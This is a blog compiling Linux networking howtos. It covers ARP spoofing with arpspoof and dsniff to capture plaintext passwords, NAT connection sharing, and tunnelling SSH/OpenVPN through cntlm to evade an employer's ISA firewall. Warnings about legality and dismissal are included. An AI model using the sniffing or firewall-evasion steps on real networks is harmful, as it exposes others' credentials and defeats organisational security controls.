Dsniff / Arpspoof HowTo

Saturday, 2. November 2013

 

This is a direct copy of  http://failshell.io/hacking/dsniff-howto/

Thank you for this neat howto!

 

Requirements

  • dsniff
  • arpspoof
  • the IP of your gateway
  • Linux machine (BSD would work too)
  • Enable IP forwarding (VERY IMPORTANT)

dsniff/arpspoof website

NOTE: On Debian/Ubuntu systems, both tools are packaged under ‘dsniff’.

Get your gateway’s IP

$ route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
10.255.251.0    0.0.0.0         255.255.255.0   U     0      0        0 br0
192.168.122.0   0.0.0.0         255.255.255.0   U     0      0        0 virbr0
0.0.0.0         10.255.251.1    0.0.0.0         UG    0      0        0 br0

In this case, it would be 10.255.251.1.

Enable IP forwarding

Linux

# echo 1 > /proc/sys/net/ipv4/ip_forward

To make it permanent, add this line to /etc/sysctl.confnet.ipv4.ip_forward = 1

NOTE: If you don’t do this, no one will be able to use the network as your machine will refuse to forward packets to the gateway. You have been warned!

Arpspoof

This will make the clients on the network believe that your computer is the gateway. So make sure you enabled forwarding.

# arspoof 10.255.251.1

dsniff

This tool will sniff the traffic for unencrypted login and passwords. When it finds one, it will print it to stdout.

# dsniff -i br0 -mc

WARNING

Make sure you’re authorized to do this, because in many countries, that could be seen as hacking and/or spying. Laws differ in every country, but the results are often jail.

Share Internet Connection from GNU/Linux Systems

Saturday, 2. November 2013

this is a direct copy of http://saikatbasak.com/share-internet-connection/  Thank you for this neat howto!

_________________________ 

Now, here we have,

A computer connected to the Internet via the eth0 port (if you have a mobile broadband it would be ppp0).

We want to share the connection via the eth1 port of the same computer.

What we need,

We need basic networking utilities that is, in most cases, comes pre-installed in your GNU/Linux distribution (iptablesifconfig to be precise).

Yes, we do need some Lan Cables (Crossover cable) to share the connection via the eth1 port of the above mentioned computer.

So, let us begin. Connect your computer to the Internet. If u have a dhcp connection you may use dhclient or dhcpcd. Just do, as root, ‘dhclient eth0′, without the quotes. For connecting to mobile broadband you may use wvdial.

Flush iptables rules:

# iptables -F
# iptables -t nat -F
# iptables -t mangle -F
# iptables -X
# iptables -t nat -X
# iptables -t mangle -X

Enable kernel routing mode:

# echo 1 > /proc/sys/net/ipv4/ip_forward

Also, you can make ip forward permanent by editing /etc/sysctl.conf and set net.ipv4.ip_forward = 1

Setup eth1:

# ifconfig eth1 10.10.10.1 netmask 255.255.255.0
# ifconfig eth1 up

( you may consider using a different ip address)

Set iptables rules for port forwarding:

# iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

That’s it. Now connect one end of the cable to the eth1 port of your server. Connect the other end to any computer or device such as a router or a switch.

Client side configuration example:

Ip address: 10.10.10.2
netmask: 255.255.255.0
gateway: 10.10.10.1
DNS server address: Same as the server (you may also use Google DNS or any other DNS of your preference)

# ifconfig eth0 10.10.10.2 netmask 255.255.255.0
# ifconfig eth0 up
# route add default gw 10.10.10.1 eth0
# echo "nameserver 8.8.8.8" > /etc/resolv.conf

Happy surfing.

 

____________________-

SSH Tunnel – Virtual Private Networing with SSH

Saturday, 20. November 2010

Auch mit SSH ist es möglich ein VPN aufzuziehen. Dieses Howto versteht sich als Erweiterung zu ISA Firewall/Proxy sucks! -or- How to make it disappear! Es ermöglicht auf das Portforwarding und den OpenVPN Tunnel zu verzichten und das VPN gleich mittels SSH aufzuziehen! (die ssh Verbindung müsste in diesem Falle natürlich zum localhost : 1443 aufgenommen werden auf welchem cntlm lauscht – siehe ISA Firewall/Proxy sucks! -or- How to make it disappear! )

———————————————–

 

Client B (Default Gateway: 10.1.1.1) —> Server A (WAN IP: 1.2.3.4 [myserver.com] SSH Port: 443) Vorbereitung: Auf beiden Maschinen wird das IP forwarding aktiviert:

echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
ssh root@myserver.com -p 443 'echo 1 |tee /proc/sys/net/ipv4/ip_forward'
 

Die SSH Daemons müssen über die Datei /etc/ssh/sshd_config so konfiguriert werden, dass ein VPN Tunnel sowie der root Login erlaubt ist:

PermitRootLogin yes
PermitTunnel yes

(Im Optimalfall hat man für weiteres Vorgehen sshd so konfiguriert, dass man ohne Password mit Zertifikat einloggen kann) Jetzt baut man den SSH Tunnel auf. Die folgende Konfiguration sorgt dafür, dass der Tunnel zum Server geschlagen wird, auf dem Client wie auch am Server ein Device namens “tun0” erstellt wird und im gleichen Terminal weitergearbeitet werden kann. Wer sich tatsächlich zum Server verbinden will verzichtet auf N T und f .

sudo ssh -NTCf -w 0:0 root@myserver.com -p 443

Jetzt haben wir zwei unkonfigurierte “virtuelle” Netzwerkinterfaces (tun0) die nun für den Tunnel konfiguriert werden müssen:

local:

sudo ifconfig tun0 10.0.0.222 pointopoint 10.0.0.111

remote:

ssh root@myserver.com -p 443 ifconfig tun0 10.0.0.111 pointopoint 10.0.0.222

zu diesem Zeitpunkt kann man tun0 des Servers (10.0.0.111) bereits pingen (und vice versa). Jetzt binden wird das ganze Netz ein:

sudo route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.222 tun0

Durch diese Anweisung verwendet das 10er Netz das virtuelle Device tun0 als Gateway in die Freiheit.

ssh root@myserver.com -p 443 arp -sD 10.0.0.222 eth0 pub

Dies stellt im Netz des Servers sicher, dass Pakete die für 10.0.0.222 gedacht sind auch an den Server gesendet werden (damit dieser sie forwarden kann) Im letzten Schritt definieren wir für das gesamte 10er netz des Clients tun0 als default Gateway. Damit wird dem SSH Tunnel nicht den Ast absägen auf dem dieser gerade sitzt müssen wir aber zuerst für diese spezielle Verbindung eine eigene Route legen.

sudo route add 1.2.3.4 gw 10.1.1.1 eth0

Jetzt können wir einen neuen default Gateway setzen:

sudo route add default gw 10.0.0.111 tun0
und den alten löschen:
sudo route del default gw 10.1.1.1 eth0

Abschließend muss noch auf beiden Maschinen “masquerading” aktiviert werden

sudo iptables -t nat -A POSTROUTING -o tun0 -j MASQUERADE
ssh root@myserver.com -p 443 iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

Fertig! Wer sein Werk nun überprüfen will kann testweise mit folgendem Befehl den Verlauf der Pakete über das VPN verfolgen:

tracepath gmx.net

Im übrigen Netz kann man nun die IP des Client B als default Gateway eintragen um auch diese durch den VPN Tunnel zu schleusen.
glhf

Noch einmal alle Shellbefehle auf einem Fleck:

ssh root@myserver.com -p 443 'echo 1 | tee /proc/sys/net/ipv4/ip_forward'
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
sudo ssh -NTCf -w 0:0 root@myserver.com -p 443
sudo ifconfig tun0 10.0.0.222 pointopoint 10.0.0.111
ssh root@myserver.com -p 443 ifconfig tun0 10.0.0.111 pointopoint 10.0.0.222
sudo route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.222 tun0
ssh root@myserver.com -p 443 arp -sD 10.0.0.222 eth0 pub
sudo route add 1.2.3.4 gw 10.1.1.1 eth0
sudo route add default gw 10.0.0.111 tun0
sudo route del default gw 10.1.1.1 eth0
sudo iptables -t nat -A POSTROUTING -o tun0 -j MASQUERADE
ssh root@myserver.com -p 443 iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

 

PS: Man sollte sich bewusst sein, dass ein Umgehen der Sicherheitsvorkehrungen in den meisten Fällen nicht erwünscht ist und sogar ein Kündigungsgrund sein kann!

ISA Firewall/Proxy sucks! -or- How to make it disappear!

Thursday, 18. November 2010

Wir befinden uns in einem Netzwerk das duch einen Microsoft ISA firewall/proxy Server gesichert ist und uns bis auf http:/ und vielleicht https:/ nicht gestattet mit der Ausserwelt zu kommunizieren.

xmpp, imap, pop3, ftp, ssh, etc. alles zu …. aufgeben? >> Link No Way !!

Die Idee um dieses Problem in den Griff zu bekommen ist folgende: Durch einen http Tunnel wird ein ssh Tunnel aufgebaut. Durch diesen ssh Tunnel wird ein vpn Tunnel aufgebaut. Der gesamte Netzwerktraffic wird durch diesen OpenVPN Tunnel in die Freiheit geroutet.

Wir benötigen:

openssh-server – um genau zu sein einen Server im WeltWeitenNetz der uns gehorcht, dessen ssh Server wir umkonfigurieren können, sodass er auf Port 443 lauscht.

cntlm (cntlm – Fast NTLM authentication proxy with tunneling) http://iitmlug.a.wiki-site.com/index.php/Cntlm

openvpn (openvpn – virtual private network daemon) Der openvpn Server läuft auf der gleichen Maschine wie der ssh Server und lauscht auf Port 1100.

Wir nutzen cntlm um uns am Proxy anzumelden und für ssh einen http Tunnel zum ssh Server zu öffnen. Die anderen Methoden wie zb. proxytunnel (Proxy-Server umgehen – proxytunnel,ssh socks5, proxychains) funktionieren im Falle von NTLMv2 einfach nicht.

Zuerst müssen wir cntlm installieren (sudo apt-get install cntlm) und dann die Konfigurationsdatei bearbeiten (sudo nano /etc/cntlm.conf ) Die wichtigen Parameter sind:

# Cntlm Authentication Proxy Configuration
Username myusername
Domain mydomain.at
Password mypassword
Proxy 10.1.1.1:8080
# This is the port number where Cntlm will listen
Listen 3128
# How to authenticate
Auth LM
# Tunnels mapping local port to a machine behind the proxy
Tunnel 1443:myserver.com:443

Erklärung:

Username, Domain, Passwort – Diese Einstellungen sollte man wissen bzw. schaut man sich am besten von einem Windowsclient ab.
Proxy – Dies ist die IP des ISA Servers
Listen – Hier horcht cntlm als http Proxy am localhost (auch socks5 proxy kann aktviert werden)
Auth – siehe unten
Tunnel – Die wichtigste Einstellung ! hier wird definiert, dass alles was auf localhost:1443 geht durch einen Tunnel an myserver.com:443 geleitet wird.

Jetzt starten wir cntlm mit folgender Zeile:

sudo cntlm -v -M http://google.com

Wir erhalten bei erfolgreicher Anmeldung am ISA Server nun ein wenig Output und kopieren uns die 2 Zeilen “Auth” und “PassNTLMv2” – wir ersetzen nun in der Konfigurationsdatei /etc/cntlm.conf “Auth LM” mit diesen zwei Zeilen.

……. .. ..
config profile 1/11… OK (HTTP code: 301)
—————————-[ Profile 0 ]——————-
Auth NTLMv2
PassNTLMv2 79FDB5B5CD47121A714E133481478CB0

————————————————————–

(nicht aus dem Blog kopieren! Der Hash im HowTo ist ein Beispielhash)

Ist das erledigt kann man cntlm starten (vielleicht zuerst mal mit “sudo cntlm -v” um zu sehen was passiert) Jetzt sollte das Aufbauen eines ssh Tunnels zum Server funktionieren. cntlm horcht, wie in der Konfigurationsdatei definiert, am localhost am Port 1443 um einen solchen zu erstellen.

_____________________________________________

Von diesem Punkt an bieten sich zwei weitere Vorgehensweisen an:

1) Wie geplant OpenVPN durchtunneln  — einfach unten weiterlesen 🙂

2) Mit ssh ein VPN aufziehen SSH Tunnel – Virtual Private Networing with SSH

_____________________________________________

OpenVPN duch den SSH Tunnel routen

sudo ssh -C -L 1100:1.2.3.4:1100 root@localhost -p 1443

Diese Zeile baut dank “cntlm” einen ssh Tunnel zu “myserver.com:443” auf und leitet gleichzeitig alles was am localhost:1100 landet auf den Server auf Port 1100 (1.2.3.4 ist hier die IP von “myserver.com” sprich: des ssh Servers, welcher auch gleichzeitig der openvpn Server ist ). -C komprimiert den Netzwerktraffic. SuperUserRechte (sudo) werden hier benötigt!

Wir müssen nun den openvpn Client so konfigurieren, dass er sich zu “localhost:1100” verbindet. Dieser wird dann automatisch an die remote IP geleitet.

Siehe Redirect network traffic through OpenVPN tunnel

(Dieser Artikel beschreibt den letzten notwendigen Schritt um den gesamten Netzwerktraffic durch die Tunnel zu routen. Lediglich die “remote” Adresse muss auf “localhost” geändert werden.)

! OpenVPN muss als tcp-server bzw. tcp-client konfiguriert werden, sonst funktioniert das Tunneln nicht !

glhf !

🙂

——————————————————————–

Gedanken:

(Möglicherweise wäre es machbar openvpn auf Port 443 zu legen und gleich durch cntlm zu tunneln – ohne ssh Tunnel. in einem schnellen Versuch konnte die Verbindung nicht aufgebaut werden. Ich sehe aber keinen Grund warum das nicht gehen sollte. Je nachdem wie restriktiv der ISA Server konfiguriert ist, könnte es auch drin sein sich direkt per OpenVPN am Proxy anzumelden (openvpn bietet eine Möglichkeit dafür)

Ich bin für Anregungen diese Lösung effizienter zu machen sehr dankbar und werde dieses HowTo beizeiten auch noch nachbessern!